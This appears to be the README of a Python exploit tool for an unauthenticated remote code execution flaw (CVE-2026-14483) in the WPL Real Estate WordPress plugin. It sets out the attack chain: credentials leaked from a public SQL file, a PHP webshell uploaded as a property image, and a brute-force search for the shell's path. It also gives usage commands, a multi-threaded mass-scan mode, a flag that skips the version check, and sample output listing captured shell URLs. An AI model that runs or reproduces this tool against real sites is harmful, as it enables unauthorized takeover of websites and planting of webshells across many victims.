CVE-2026-14483 — WPL Real Estate RCE

Unauthenticated remote code execution against the Realtyna WPL Real Estate Listing WordPress plugin.

By default the script only exploits targets running WPL 5.2.0. Use --force to override.

IMAGE

Vulnerability summary

1. Credential leak — Default api_key / api_secret are exposed via a public SQL migration dump.
2. Unauthenticated upload — Those credentials authenticate the WPL I/O API (set_property), allowing a crafted PHP file to be uploaded as a property image.
3. Webshell discovery — The uploaded shell is located under wp-content/uploads/WPL/{property_id}/.

Requirements

pip install requests colorama

• Python 3.8+
• Network access to the target(s)

Usage

Target list

Create a text file with one base URL per line:

http://wplab.test
https://example.com

Basic run

python CVE-2026-14483.py --targets targets.txt

Successful shell URLs are appended to result.txt (or --output).

Full options

python CVE-2026-14483.py \
  --targets targets.txt \
  --output result.txt \
  --user-id 1 \
  --max-id 1000 \
  --timeout 30 \
  --threads 5 \
  --debug \
  --force

Exploit flow

Target URL
    │
    ▼
Detect WPL version (readme.txt / wpl.php)
    │  skip unless == 5.2.0 (or --force)
    ▼
Fetch api_key + api_secret from:
  /wp-content/plugins/real-estate-listing-realtyna-wpl/assets/migrations/basic/1.0.0.sql
    │
    ▼
POST set_property via WPL I/O API
  (upload image_0x89MADEXPLOITS.php as image/jpeg)
    │
    ▼
Brute-force property ID 1..max-id
  /wp-content/uploads/WPL/{id}/0x89MADEXPLOITS.php
    │
    ▼
Write shell URL → output file

Default shell marker: MADEXPLOITS
Default remote filename: 0x89MADEXPLOITS.php

Examples

Single lab target (this workspace):

echo http://wplab.test > targets.txt
python CVE-2026-14483.py --targets targets.txt --debug

Mass scan with higher concurrency:

python CVE-2026-14483.py --targets targets.txt --threads 20 --output shells.txt

Force exploit when version check fails:

python CVE-2026-14483.py --targets targets.txt --force

Output

[+] Shell found: http://target/wp-content/uploads/WPL/32/0x89MADEXPLOITS.php
[*] Progress: 1/1 | Found: 1
[+] Done. Found 1 shell(s). Check 'result.txt' for URLs.

result.txt contains one shell URL per line.

Notes

• Version is read from Stable tag: / Version: in the plugin readme.txt, with fallback to wpl.php.
• If the shell is not found after upload, raise --max-id.
• Intended for authorized security testing / local lab use only.